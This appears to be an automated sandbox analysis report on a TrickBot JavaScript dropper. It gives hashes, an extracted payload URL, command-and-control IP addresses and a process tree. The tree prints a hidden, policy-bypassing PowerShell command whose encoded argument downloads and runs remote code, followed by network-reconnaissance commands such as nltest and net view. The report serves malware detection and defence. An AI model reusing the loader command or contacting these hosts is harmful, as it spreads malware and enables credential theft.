Analysis
-
max time kernel
525s -
max time network
635s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
21-07-2021 02:20
Static task
static1
Behavioral task
behavioral1
Sample
4524.js
Resource
win7v20210410
General
-
Target
4524.js
-
Size
344KB
-
MD5
1e15caad81dbf43c24c3517c6658c138
-
SHA1
5a0e8e9cdc2a8b5a575c8f55674fa675ff49eef2
-
SHA256
185ac740c3516c3a6461b15d9b94047d6b48c0bd2184a03087890b573ace2884
-
SHA512
dd094e3e20987d6951da8e7069bff408b09293a6c67077a77d6721b801754a2cf4bee895b67bac4a65d0a0f49a57be180b059f4334d9ecd825497c6d07da00fd
Malware Config
Extracted
http://109.248.201.26/lovemetertok.php
Extracted
trickbot
100018
rob109
38.110.103.124:443
185.56.76.28:443
204.138.26.60:443
60.51.47.65:443
74.85.157.139:443
68.69.26.182:443
38.110.103.136:443
38.110.103.18:443
138.34.28.219:443
185.56.76.94:443
217.115.240.248:443
24.162.214.166:443
80.15.2.105:443
154.58.23.192:443
38.110.100.104:443
45.36.99.184:443
185.56.76.108:443
185.56.76.72:443
138.34.28.35:443
97.83.40.67:443
38.110.103.113:443
38.110.100.142:443
184.74.99.214:443
103.105.254.17:443
62.99.76.213:443
82.159.149.52:443
38.110.100.33:443
38.110.100.242:443
185.13.79.3:443
-
autorunName:pwgrabbName:pwgrabc
Signatures
-
Blocklisted process makes network request 3 IoCs
Processes:
powershell.execmd.exeflow pid process 5 1296 powershell.exe 6 1296 powershell.exe 62 860 cmd.exe -
Downloads MZ/PE file
-
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 1696 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 37 ip.anysrc.net -
Drops file in System32 directory 1 IoCs
Processes:
wermgr.exedescription ioc process File created C:\Windows\system32\cn\eihmful.txt wermgr.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Discovers systems in the same network 1 TTPs 2 IoCs
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exepid process 1404 ipconfig.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.execmd.execmd.execmd.exepid process 1296 powershell.exe 1296 powershell.exe 1956 cmd.exe 1364 cmd.exe 860 cmd.exe 1364 cmd.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exewermgr.execmd.execmd.exedescription pid process Token: SeDebugPrivilege 1296 powershell.exe Token: SeDebugPrivilege 1336 wermgr.exe Token: SeDebugPrivilege 1956 cmd.exe Token: SeDebugPrivilege 1364 cmd.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
wscript.execmd.exepowershell.exerundll32.exerundll32.exewermgr.exedescription pid process target process PID 592 wrote to memory of 1520 592 wscript.exe cmd.exe PID 592 wrote to memory of 1520 592 wscript.exe cmd.exe PID 592 wrote to memory of 1520 592 wscript.exe cmd.exe PID 1520 wrote to memory of 1296 1520 cmd.exe powershell.exe PID 1520 wrote to memory of 1296 1520 cmd.exe powershell.exe PID 1520 wrote to memory of 1296 1520 cmd.exe powershell.exe PID 1296 wrote to memory of 564 1296 powershell.exe rundll32.exe PID 1296 wrote to memory of 564 1296 powershell.exe rundll32.exe PID 1296 wrote to memory of 564 1296 powershell.exe rundll32.exe PID 564 wrote to memory of 1696 564 rundll32.exe rundll32.exe PID 564 wrote to memory of 1696 564 rundll32.exe rundll32.exe PID 564 wrote to memory of 1696 564 rundll32.exe rundll32.exe PID 564 wrote to memory of 1696 564 rundll32.exe rundll32.exe PID 564 wrote to memory of 1696 564 rundll32.exe rundll32.exe PID 564 wrote to memory of 1696 564 rundll32.exe rundll32.exe PID 564 wrote to memory of 1696 564 rundll32.exe rundll32.exe PID 1696 wrote to memory of 1160 1696 rundll32.exe cmd.exe PID 1696 wrote to memory of 1160 1696 rundll32.exe cmd.exe PID 1696 wrote to memory of 1160 1696 rundll32.exe cmd.exe PID 1696 wrote to memory of 1160 1696 rundll32.exe cmd.exe PID 1696 wrote to memory of 1336 1696 rundll32.exe wermgr.exe PID 1696 wrote to memory of 1336 1696 rundll32.exe wermgr.exe PID 1696 wrote to memory of 1336 1696 rundll32.exe wermgr.exe PID 1696 wrote to memory of 1336 1696 rundll32.exe wermgr.exe PID 1696 wrote to memory of 1336 1696 rundll32.exe wermgr.exe PID 1696 wrote to memory of 1336 1696 rundll32.exe wermgr.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe PID 1336 wrote to memory of 1956 1336 wermgr.exe cmd.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\4524.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADkALgAyADQAOAAuADIAMAAxAC4AMgA2AC8AbABvAHYAZQBtAGUAdABlAHIAdABvAGsALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADkALgAyADQAOAAuADIAMAAxAC4AMgA2AC8AbABvAHYAZQBtAGUAdABlAHIAdABvAGsALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\gGOAuihadTSQnZB.bin StartW4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\gGOAuihadTSQnZB.bin StartW5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe6⤵
-
C:\Windows\system32\wermgr.exeC:\Windows\system32\wermgr.exe6⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exe/c ipconfig /all8⤵
-
C:\Windows\system32\ipconfig.exeipconfig /all9⤵
- Gathers network information
-
C:\Windows\system32\cmd.exe/c net config workstation8⤵
-
C:\Windows\system32\net.exenet config workstation9⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 config workstation10⤵
-
C:\Windows\system32\cmd.exe/c net view /all8⤵
-
C:\Windows\system32\net.exenet view /all9⤵
- Discovers systems in the same network
-
C:\Windows\system32\cmd.exe/c net view /all /domain8⤵
-
C:\Windows\system32\net.exenet view /all /domain9⤵
- Discovers systems in the same network
-
C:\Windows\system32\cmd.exe/c nltest /domain_trusts8⤵
-
C:\Windows\system32\nltest.exenltest /domain_trusts9⤵
-
C:\Windows\system32\cmd.exe/c nltest /domain_trusts /all_trusts8⤵
-
C:\Windows\system32\nltest.exenltest /domain_trusts /all_trusts9⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\gGOAuihadTSQnZB.binMD5
7cbf4114f95a04e958951d1237914e3d
SHA13814ac9bfba6b05f69d4eace5606bb327f3b0986
SHA256e9d72af7dee0e7785d15a1731734560fc8e85b4aeebe25a9f11ff716b1b7b7c9
SHA512bcb0d91405c368f0dd7a8b63916b62eab52b4f38e995256d78d78b063f05e91fabf58010b92d1bb93aaab784c4658610414bfbb6ebc51c8fb14a7c5670db62d4
-
\Users\Admin\AppData\Local\Temp\gGOAuihadTSQnZB.binMD5
7cbf4114f95a04e958951d1237914e3d
SHA13814ac9bfba6b05f69d4eace5606bb327f3b0986
SHA256e9d72af7dee0e7785d15a1731734560fc8e85b4aeebe25a9f11ff716b1b7b7c9
SHA512bcb0d91405c368f0dd7a8b63916b62eab52b4f38e995256d78d78b063f05e91fabf58010b92d1bb93aaab784c4658610414bfbb6ebc51c8fb14a7c5670db62d4
-
memory/564-102-0x0000000000000000-mapping.dmp
-
memory/564-70-0x0000000000000000-mapping.dmp
-
memory/672-107-0x0000000000000000-mapping.dmp
-
memory/860-99-0x0000000180000000-0x0000000180009000-memory.dmpFilesize
36KB
-
memory/860-98-0x0000000000000000-mapping.dmp
-
memory/1108-109-0x0000000000000000-mapping.dmp
-
memory/1144-110-0x0000000000000000-mapping.dmp
-
memory/1168-106-0x0000000000000000-mapping.dmp
-
memory/1176-114-0x0000000000000000-mapping.dmp
-
memory/1296-68-0x00000000024A0000-0x00000000024A1000-memory.dmpFilesize
4KB
-
memory/1296-66-0x000000001AC20000-0x000000001AC22000-memory.dmpFilesize
8KB
-
memory/1296-62-0x000007FEFB9A1000-0x000007FEFB9A3000-memory.dmpFilesize
8KB
-
memory/1296-67-0x000000001AC24000-0x000000001AC26000-memory.dmpFilesize
8KB
-
memory/1296-61-0x0000000000000000-mapping.dmp
-
memory/1296-65-0x00000000023E0000-0x00000000023E1000-memory.dmpFilesize
4KB
-
memory/1296-64-0x000000001ACA0000-0x000000001ACA1000-memory.dmpFilesize
4KB
-
memory/1296-63-0x0000000002040000-0x0000000002041000-memory.dmpFilesize
4KB
-
memory/1296-69-0x000000001B810000-0x000000001B811000-memory.dmpFilesize
4KB
-
memory/1336-87-0x0000000000060000-0x0000000000088000-memory.dmpFilesize
160KB
-
memory/1336-88-0x0000000000110000-0x0000000000111000-memory.dmpFilesize
4KB
-
memory/1336-86-0x0000000000000000-mapping.dmp
-
memory/1364-94-0x0000000000000000-mapping.dmp
-
memory/1404-103-0x0000000000000000-mapping.dmp
-
memory/1504-104-0x0000000000000000-mapping.dmp
-
memory/1520-60-0x0000000000000000-mapping.dmp
-
memory/1572-105-0x0000000000000000-mapping.dmp
-
memory/1696-80-0x0000000000950000-0x0000000000987000-memory.dmpFilesize
220KB
-
memory/1696-73-0x0000000075A71000-0x0000000075A73000-memory.dmpFilesize
8KB
-
memory/1696-85-0x00000000002E1000-0x00000000002E3000-memory.dmpFilesize
8KB
-
memory/1696-84-0x00000000002F0000-0x0000000000301000-memory.dmpFilesize
68KB
-
memory/1696-82-0x00000000002A0000-0x00000000002D8000-memory.dmpFilesize
224KB
-
memory/1696-83-0x0000000000AD0000-0x0000000000B14000-memory.dmpFilesize
272KB
-
memory/1696-72-0x0000000000000000-mapping.dmp
-
memory/1696-78-0x00000000004F0000-0x0000000000529000-memory.dmpFilesize
228KB
-
memory/1696-75-0x00000000004B0000-0x00000000004EB000-memory.dmpFilesize
236KB
-
memory/1796-113-0x0000000000000000-mapping.dmp
-
memory/1812-112-0x0000000000000000-mapping.dmp
-
memory/1856-108-0x0000000000000000-mapping.dmp
-
memory/1956-93-0x0000000000060000-0x0000000000061000-memory.dmpFilesize
4KB
-
memory/1956-89-0x0000000000000000-mapping.dmp
-
memory/2036-111-0x0000000000000000-mapping.dmp